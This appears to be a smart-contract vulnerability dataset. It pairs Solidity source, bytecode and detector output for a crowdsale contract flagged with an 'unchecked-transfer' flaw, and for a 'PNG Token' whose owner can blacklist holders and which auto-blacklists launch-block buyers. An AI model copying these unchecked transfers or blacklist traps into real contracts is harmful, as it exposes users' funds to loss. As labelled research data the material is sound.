bonus = _tokens.mul(phase_5_bonus).div(100);
total_token_to_transfer = _tokens + bonus;
}
}else{
total_token_to_transfer = 0;
}
if(total_token_to_transfer > 0){
token_reward.transfer(_beneficiary, total_token_to_transfer);
TokenPurchase(msg.sender, _beneficiary, _weiAmount, total_token_to_transfer);
return true;
}else{
return false;
}
}
// fallback function can be used to buy tokens
function () payable public{
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = (weiAmount.mul(getRate())).div(10 ** uint256(10));
// Check is there are enough token available for current phase and per person
require(transferIfTokenAvailable(tokens, weiAmount, beneficiary));
// update state
weiRaised = weiRaised.add(weiAmount);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return now > end_Time;
}
// function to transfer token back to owner
function transferBack(uint256 tokens, address to_address) onlyOwner public returns (bool){
token_reward.transfer(to_address, tokens);
return true;
}
// function to change rate
function changeEth_to_usd(uint256 _eth_to_usd) onlyOwner public returns (bool){
EthToUsdChanged(msg.sender, eth_to_usd, _eth_to_usd);
eth_to_usd = _eth_to_usd;
return true;
}
}
|
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806303138b311461015f578063032b3400146101885780631542b365146101b1578063181b591a146101da5780632cce0c60146102035780633029948a1461022c5780634042b66f1461025557806344605ea01461027e578063521eb273146102a7578063679aefce146102fc57806375c4e9ec146103255780637b4fd96e1461037a578063834ee417146103a35780638da5cb5b146103cc5780639e1a4d1914610421578063aa4b980e1461044a578063b6693f8014610473578063bbad490f1461049c578063bd3ce132146104c5578063d6264b751461051f578063e13044fb14610579578063ec8ac4d8146105b4578063ecb70fb7146105e2578063f2fde38b1461060f578063f5323da414610648578063ff9e394814610671575b61015d3361069a565b005b341561016a57600080fd5b610172610748565b6040518082815260200191505060405180910390f35b341561019357600080fd5b61019b61074e565b6040518082815260200191505060405180910390f35b34156101bc57600080fd5b6101c4610754565b6040518082815260200191505060405180910390f35b34156101e557600080fd5b6101ed61075a565b6040518082815260200191505060405180910390f35b341561020e57600080fd5b610216610760565b6040518082815260200191505060405180910390f35b341561023757600080fd5b61023f610766565b6040518082815260200191505060405180910390f35b341561026057600080fd5b61026861076c565b6040518082815260200191505060405180910390f35b341561028957600080fd5b610291610772565b6040518082815260200191505060405180910390f35b34156102b257600080fd5b6102ba610778565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561030757600080fd5b61030f61079e565b6040518082815260200191505060405180910390f35b341561033057600080fd5b6103386107cf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561038557600080fd5b61038d6107f5565b6040518082815260200191505060405180910390f35b34156103ae57600080fd5b6103b66107fb565b6040518082815260200191505060405180910390f35b34156103d757600080fd5b6103df610801565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561042c57600080fd5b610434610826565b6040518082815260200191505060405180910390f35b341561045557600080fd5b61045d61090d565b6040518082815260200191505060405180910390f35b341561047e57600080fd5b610486610913565b6040518082815260200191505060405180910390f35b34156104a757600080fd5b6104af610919565b6040518082815260200191505060405180910390f35b34156104d057600080fd5b610505600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061091f565b604051808215151515815260200191505060405180910390f35b341561052a57600080fd5b61055f600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610abc565b604051808215151515815260200191505060405180910390f35b341561058457600080fd5b61059a6004808035906020019091905050610c0c565b604051808215151515815260200191505060405180910390f35b6105e0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061069a565b005b34156105ed57600080fd5b6105f5610cd1565b604051808215151515815260200191505060405180910390f35b341561061a57600080fd5b610646600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cdd565b005b341561065357600080fd5b61065b610e32565b6040518082815260200191505060405180910390f35b341561067c57600080fd5b610684610e38565b6040518082815260200191505060405180910390f35b60008060008373ffffffffffffffffffffffffffffffffffffffff16141515156106c357600080fd5b6106cb610e3e565b15156106d657600080fd5b349150610708600a800a6106fa6106eb61079e565b85610e9b90919063ffffffff16565b610ed690919063ffffffff16565b9050610715818385610ef1565b151561072057600080fd5b6107358260115461151890919063ffffffff16565b601181905550610743611536565b505050565b60085481565b60035481565b60075481565b600c5481565b60105481565b600a5481565b60115481565b60045481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006107ca600e546107bc6064601054610e9b90919063ffffffff16565b610ed690919063ffffffff16565b905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156108ed57600080fd5b6102c65a03f115156108fe57600080fd5b50505060405180519050905090565b60095481565b60055481565b600b5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561097c57600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff16141515156109a257600080fd5b6109aa61159a565b15156109b557600080fd5b6109be836115ce565b15156109c957600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83856000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610a9657600080fd5b6102c65a03f11515610aa757600080fd5b50505060405180519050506001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b1957600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83856000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610be657600080fd5b6102c65a03f11515610bf757600080fd5b50505060405180519050506001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c6957600080fd5b3373ffffffffffffffffffffffffffffffffffffffff167f1b97429d1e66764b528e2cb4036c8355e9b421987b7487b19201b8aa977b5d7760105484604051808381526020018281526020019250505060405180910390a28160108190555060019050919050565b60006003544211905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d3857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610d7457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d5481565b60065481565b60008060008060006002544210158015610e5a57506003544211155b93506000600854119250600034141591506064346010540210159050838015610e805750815b8015610e895750825b8015610e925750805b94505050505090565b6000806000841415610eb05760009150610ecf565b8284029050828482811515610ec157fe5b04141515610ecb57fe5b8091505b5092915050565b6000808284811515610ee457fe5b0490508091505092915050565b6000806000806000806000809550600094506000600454111561100c576004548a1115610fbc57610f2d6004548b61180a90919063ffffffff16565b9350610f92610f5a6064610f4c600a5488610e9b90919063ffffffff16565b610ed690919063ffffffff16565b610f846064610f76600954600454610e9b90919063ffffffff16565b610ed690919063ffffffff16565b61151890919063ffffffff16565b94506000600481905550610fb18460055461180a90919063ffffffff16565b600581905550611002565b610fd18a60045461180a90919063ffffffff16565b600481905550610fff6064610ff16009548d610e9b90919063ffffffff16565b610ed690919063ffffffff16565b94505b848a01955061139e565b60006005541115611115576005548a11156110c5576110366005548b61180a90919063ffffffff16565b925061109b6110636064611055600b5487610e9b90919063ffffffff16565b610ed690919063ffffffff16565b61108d606461107f600a54600554610e9b90919063ffffffff16565b610ed690919063ffffffff16565b61151890919063ffffffff16565b945060006005819055506110ba8360065461180a90919063ffffffff16565b60068190555061110b565b6110da8a60055461180a90919063ffffffff16565b60058190555061110860646110fa600a548d610e9b90919063ffffffff16565b610ed690919063ffffffff16565b94505b848a01955061139d565b6000600654111561121e576006548a11156111ce5761113f6006548b61180a90919063ffffffff16565b91506111a461116c606461115e600c5486610e9b90919063ffffffff16565b610ed690919063ffffffff16565b6111966064611188600b54600654610e9b90919063ffffffff16565b610ed690919063ffffffff16565b61151890919063ffffffff16565b945060006006819055506111c38260075461180a90919063ffffffff16565b600781905550611214565b6111e38a60065461180a90919063ffffffff16565b6006819055506112116064611203600b548d610e9b90919063ffffffff16565b610ed690919063ffffffff16565b94505b848a01955061139c565b60006007541115611327576007548a11156112d7576112486007548b61180a90919063ffffffff16565b90506112ad6112756064611267600d5485610e9b90919063ffffffff16565b610ed690919063ffffffff16565b61129f6064611291600c54600754610e9b90919063ffffffff16565b610ed690919063ffffffff16565b61151890919063ffffffff16565b945060006007819055506112cc8160085461180a90919063ffffffff16565b60088190555061131d565b6112ec8a60075461180a90919063ffffffff16565b60078190555061131a606461130c600c548d610e9b90919063ffffffff16565b610ed690919063ffffffff16565b94505b848a01955061139b565b60006008541115611395576008548a11156113455760009550611390565b61135a8a60085461180a90919063ffffffff16565b600881905550611388606461137a600d548d610e9b90919063ffffffff16565b610ed690919063ffffffff16565b9450848a0195505b61139a565b600095505b5b5b5b5b600086111561150657600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb89886000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561147457600080fd5b6102c65a03f1151561148557600080fd5b50505060405180519050508773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188b89604051808381526020018281526020019250505060405180910390a36001965061150b565b600096505b5050505050509392505050565b600080828401905083811015151561152c57fe5b8091505092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050151561159857600080fd5b565b600080600060025442101580156115b357506003544211155b915060006008541190508180156115c75750805b9250505090565b600080600080600080600454111561164e57600454861115611629576115ff6004548761180a90919063ffffffff16565b9350600060048190555061161e8460055461180a90919063ffffffff16565b600581905550611645565b61163e8660045461180a90919063ffffffff16565b6004819055505b60019450611801565b600060055411156116c7576005548611156116a2576116786005548761180a90919063ffffffff16565b925060006005819055506116978360065461180a90919063ffffffff16565b6006819055506116be565b6116b78660055461180a90919063ffffffff16565b6005819055505b60019450611801565b600060065411156117405760065486111561171b576116f16006548761180a90919063ffffffff16565b915060006006819055506117108260075461180a90919063ffffffff16565b600781905550611737565b6117308660065461180a90919063ffffffff16565b6006819055505b60019450611801565b600060075411156117b9576007548611156117945761176a6007548761180a90919063ffffffff16565b905060006007819055506117898160085461180a90919063ffffffff16565b6008819055506117b0565b6117a98660075461180a90919063ffffffff16565b6007819055505b60019450611801565b600060085411156117f7576008548611156117d75760009450611801565b6117ec8660085461180a90919063ffffffff16565b600881905550611800565b60009450611801565b5b50505050919050565b600082821115151561181857fe5b8183039050929150505600a165627a7a72305820898668ecb6dd4ae484538eb7cf6fa80cb7c192b2b14adf447d62981744f845550029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 6,543 |
0xd656824655d63014cd0907359e18a30681caf8a7
|
// SPDX-License-Identifier: Unlicensed
// WEBSITE: https://pngdao.io
// TELEGRAM: https://t.me/PNGTOKEN
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract PNGTOKEN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private constant _MAX = ~uint256(0);
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint private constant _decimals = 9;
uint256 private _teamFee = 13;
uint256 private _previousteamFee = _teamFee;
string private constant _name = "PNG Token";
string private constant _symbol = "PNG";
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.div(3);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (3 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 13, "not larger than 13%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103ef578063cf0848f714610404578063cf9d4afa14610424578063dd62ed3e14610444578063e6ec64ec1461048a578063f2fde38b146104aa57600080fd5b8063715018a6146103265780638da5cb5b1461033b57806390d49b9d1461036357806395d89b4114610383578063a9059cbb146103af578063b515566a146103cf57600080fd5b806331c2d8471161010857806331c2d8471461023f5780633bbac5791461025f578063437823ec14610298578063476343ee146102b85780635342acb4146102cd57806370a082311461030657600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b657806318160ddd146101e657806323b872dd1461020b578063313ce5671461022b57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104ca565b005b34801561017e57600080fd5b50604080518082019091526009815268282723902a37b5b2b760b91b60208201525b6040516101ad919061193d565b60405180910390f35b3480156101c257600080fd5b506101d66101d13660046119b7565b610516565b60405190151581526020016101ad565b3480156101f257600080fd5b50670de0b6b3a76400005b6040519081526020016101ad565b34801561021757600080fd5b506101d66102263660046119e3565b61052d565b34801561023757600080fd5b5060096101fd565b34801561024b57600080fd5b5061017061025a366004611a3a565b610596565b34801561026b57600080fd5b506101d661027a366004611aff565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a457600080fd5b506101706102b3366004611aff565b61062c565b3480156102c457600080fd5b5061017061067a565b3480156102d957600080fd5b506101d66102e8366004611aff565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031257600080fd5b506101fd610321366004611aff565b6106b4565b34801561033257600080fd5b506101706106d6565b34801561034757600080fd5b506000546040516001600160a01b0390911681526020016101ad565b34801561036f57600080fd5b5061017061037e366004611aff565b61070c565b34801561038f57600080fd5b50604080518082019091526003815262504e4760e81b60208201526101a0565b3480156103bb57600080fd5b506101d66103ca3660046119b7565b610786565b3480156103db57600080fd5b506101706103ea366004611a3a565b610793565b3480156103fb57600080fd5b506101706108ac565b34801561041057600080fd5b5061017061041f366004611aff565b610963565b34801561043057600080fd5b5061017061043f366004611aff565b6109ae565b34801561045057600080fd5b506101fd61045f366004611b1c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049657600080fd5b506101706104a5366004611b55565b610c09565b3480156104b657600080fd5b506101706104c5366004611aff565b610c7f565b6000546001600160a01b031633146104fd5760405162461bcd60e51b81526004016104f490611b6e565b60405180910390fd5b6000610508306106b4565b905061051381610d17565b50565b6000610523338484610e91565b5060015b92915050565b600061053a848484610fb5565b61058c843361058785604051806060016040528060288152602001611ce9602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113f6565b610e91565b5060019392505050565b6000546001600160a01b031633146105c05760405162461bcd60e51b81526004016104f490611b6e565b60005b8151811015610628576000600560008484815181106105e4576105e4611ba3565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062081611bcf565b9150506105c3565b5050565b6000546001600160a01b031633146106565760405162461bcd60e51b81526004016104f490611b6e565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610628573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052790611430565b6000546001600160a01b031633146107005760405162461bcd60e51b81526004016104f490611b6e565b61070a60006114b4565b565b6000546001600160a01b031633146107365760405162461bcd60e51b81526004016104f490611b6e565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610523338484610fb5565b6000546001600160a01b031633146107bd5760405162461bcd60e51b81526004016104f490611b6e565b60005b815181101561062857600c5482516001600160a01b03909116908390839081106107ec576107ec611ba3565b60200260200101516001600160a01b03161415801561083d5750600b5482516001600160a01b039091169083908390811061082957610829611ba3565b60200260200101516001600160a01b031614155b1561089a5760016005600084848151811061085a5761085a611ba3565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108a481611bcf565b9150506107c0565b6000546001600160a01b031633146108d65760405162461bcd60e51b81526004016104f490611b6e565b600c54600160a01b900460ff1661093a5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104f4565b600c805460ff60b81b1916600160b81b17905542600d81905561095e9060b4611bea565b600e55565b6000546001600160a01b0316331461098d5760405162461bcd60e51b81526004016104f490611b6e565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109d85760405162461bcd60e51b81526004016104f490611b6e565b600c54600160a01b900460ff1615610a405760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104f4565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610abb9190611c02565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2c9190611c02565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9d9190611c02565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c335760405162461bcd60e51b81526004016104f490611b6e565b600d811115610c7a5760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031332560681b60448201526064016104f4565b600855565b6000546001600160a01b03163314610ca95760405162461bcd60e51b81526004016104f490611b6e565b6001600160a01b038116610d0e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f4565b610513816114b4565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d5f57610d5f611ba3565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc9190611c02565b81600181518110610def57610def611ba3565b6001600160a01b039283166020918202929092010152600b54610e159130911684610e91565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e4e9